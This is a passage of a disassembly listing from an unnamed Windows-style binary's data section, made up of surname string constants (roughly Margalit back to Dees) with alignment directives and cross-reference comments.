aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E434o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E430o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E42Co
align 10h
aMarch db 'March',0 ; DATA XREF: ___:0042E428o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E424o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E420o
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E41Co
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E418o
aMalova db 'Malova',0 ; DATA XREF: ___:0042E414o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E410o
align 10h
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E40Co
align 4
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E408o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E404o
align 4
aMaier db 'Maier',0 ; DATA XREF: ___:0042E400o
align 4
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E3FCo
align 4
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E3F8o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E3F4o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E3F0o
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E3ECo
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E3E8o
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E3E4o
align 10h
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E3E0o
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E3DCo
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E3D8o
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E3D4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3D0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3CCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3C8o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3C4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3C0o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3BCo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3B8o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3B4o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3B0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E3ACo
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042E3A8o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E3A4o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E3A0o
aLoss db 'Loss',0 ; DATA XREF: ___:0042E39Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E398o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E394o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E390o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E38Co
aLivi db 'Livi',0 ; DATA XREF: ___:0042E388o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E384o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E380o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042E37Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E378o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E374o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E370o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E36Co
aLine db 'Line',0 ; DATA XREF: ___:0042E368o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042E364o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042E360o
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042E35Co
aLim db 'Lim',0 ; DATA XREF: ___:0042E358o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E354o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042E350o
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042E34Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E348o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E344o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E340o
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E33Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E338o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E334o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E330o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E32Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E328o
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E324o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E320o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E31Co
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E318o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E314o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E310o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E30Co
align 10h
aLandes db 'Landes',0 ; DATA XREF: ___:0042E308o
; ___:004329A4o
align 4
dword_430058 dd 6C6C614Ch ; DATA XREF: ___:0042E304o
aEmant db 'emant',0 ; DATA XREF: ___:off_432840o
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042E300o
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2FCo
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2F8o
aLa db 'La',0 ; DATA XREF: ___:0042E2F4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2F0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2ECo
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2E8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2E4o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2E0o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2DCo
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2D8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2D4o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2D0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2CCo
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2C8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2C4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2C0o
align 10h
aKool db 'Kool',0 ; DATA XREF: ___:0042E2BCo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2B8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2B4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2B0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E2ACo
align 10h
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E2A8o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E2A4o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E2A0o
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E29Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: ___:0042E298o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E294o
aKling db 'Kling',0 ; DATA XREF: ___:0042E290o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E28Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E288o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E284o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E280o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E27Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E278o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E274o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E270o
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E26Co
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E268o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E264o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E260o
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0042E25Co
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042E258o
align 4
aKerry db 'Kerry',0 ; DATA XREF: ___:0042E254o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E250o
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E24Co
aKempton db 'Kempton',0 ; DATA XREF: ___:0042E248o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E244o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E240o
align 4
aKeith db 'Keith',0 ; DATA XREF: ___:0042E23Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E238o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E234o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042E230o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E22Co
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E228o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E224o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E220o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E21Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E218o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E214o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E210o
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E20Co
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E208o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E204o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E200o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1FCo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1F8o
aJulious db 'Julious',0 ; DATA XREF: ___:0042E1F4o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1F0o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1ECo
align 10h
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1E8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1E4o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042E1E0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1DCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1D8o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1D4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1D0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1CCo
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1C8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1C4o
aJay db 'Jay',0 ; DATA XREF: ___:0042E1C0o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1BCo
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1B8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1B4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1B0o
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042E1ACo
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E1A8o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E1A4o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042E1A0o
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E19Co
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E198o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E194o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E190o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E18Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E188o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E184o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E180o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E17Co
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E178o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E174o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E170o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E16Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E168o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E164o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E160o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E15Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E158o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E154o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042E150o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E14Co
aHoward db 'Howard',0 ; DATA XREF: ___:0042E148o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E144o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E140o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E13Co
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E138o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E134o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E130o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E12Co
aHolway db 'Holway',0 ; DATA XREF: ___:0042E128o
align 10h
aHolter db 'Holter',0 ; DATA XREF: ___:0042E124o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E120o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E11Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E118o
align 10h
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E114o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E110o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E10Co
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042E108o
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E104o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E100o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0FCo
align 10h
aHind db 'Hind',0 ; DATA XREF: ___:0042E0F8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0F4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0F0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0ECo
aHester db 'Hester',0 ; DATA XREF: ___:0042E0E8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0E4o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0E0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0DCo
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042E0D8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0D4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0D0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0CCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0C8o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0C4o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E0C0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0BCo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0B8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0B4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0B0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E0ACo
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E0A8o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E0A4o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E0A0o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E09Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E098o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E094o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E090o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E08Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: ___:0042E088o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E084o
aHand db 'Hand',0 ; DATA XREF: ___:0042E080o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E07Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E078o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E074o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E070o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E06Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E068o
aHaley db 'Haley',0 ; DATA XREF: ___:0042E064o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E060o
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E05Co
aHaar db 'Haar',0 ; DATA XREF: ___:0042E058o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042E054o
align 10h
aGuo db 'Guo',0 ; DATA XREF: ___:0042E050o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E04Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E048o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E044o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E040o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E03Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E038o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E034o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E030o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E02Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E028o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E024o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042E020o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E01Co
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E018o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E014o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E010o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E00Co
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E008o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042E004o
aGist db 'Gist',0 ; DATA XREF: ___:0042E000o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFFCo
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042DFF8o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042DFF4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFF0o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFECo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFE8o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFE4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFE0o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFDCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFD8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: ___:0042DFD4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFD0o
aGarman db 'Garman',0 ; DATA XREF: ___:0042DFCCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFC8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFC4o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFC0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFBCo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFB8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFB4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFB0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: ___:0042DFACo
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DFA8o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DFA4o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042DFA0o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF9Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF98o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF94o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF90o
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042DF8Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF88o
align 10h
aFreid db 'Freid',0 ; DATA XREF: ___:0042DF84o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF80o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DF7Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF78o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF74o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF70o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF6Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF68o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF64o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042DF60o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DF5Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: ___:0042DF58o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DF54o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF50o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF4Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF48o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF44o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF40o
aFink db 'Fink',0 ; DATA XREF: ___:0042DF3Co
align 4
aField db 'Field',0 ; DATA XREF: ___:0042DF38o
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042DF34o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF30o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF2Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF28o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF24o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF20o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF1Co
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF18o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF14o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042DF10o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DF0Co
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042DF08o
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042DF04o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042DF00o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEFCo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEF8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEF4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEF0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEECo
aEverett db 'Everett',0 ; DATA XREF: ___:0042DEE8o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DEE4o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DEE0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: ___:0042DEDCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DED8o
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042DED4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DED0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: ___:0042DECCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEC8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEC4o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEC0o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEBCo
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEB8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEB4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEB0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DEACo
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DEA8o
aEdward db 'Edward',0 ; DATA XREF: ___:0042DEA4o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042DEA0o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042DE9Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE98o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE94o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE90o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE8Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE88o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE84o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE80o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE7Co
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE78o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE74o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042DE70o
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042DE6Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE68o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE64o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042DE60o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE5Co
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042DE58o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE54o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE50o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE4Co
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE48o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE44o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE40o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE3Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE38o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE34o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE30o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE2Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE28o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE24o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DE20o
aDenham db 'Denham',0 ; DATA XREF: ___:0042DE1Co
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DE18o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE14o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE10o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042DE0Co
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DE04o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DE00o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDFCo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDF8o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DDF4o
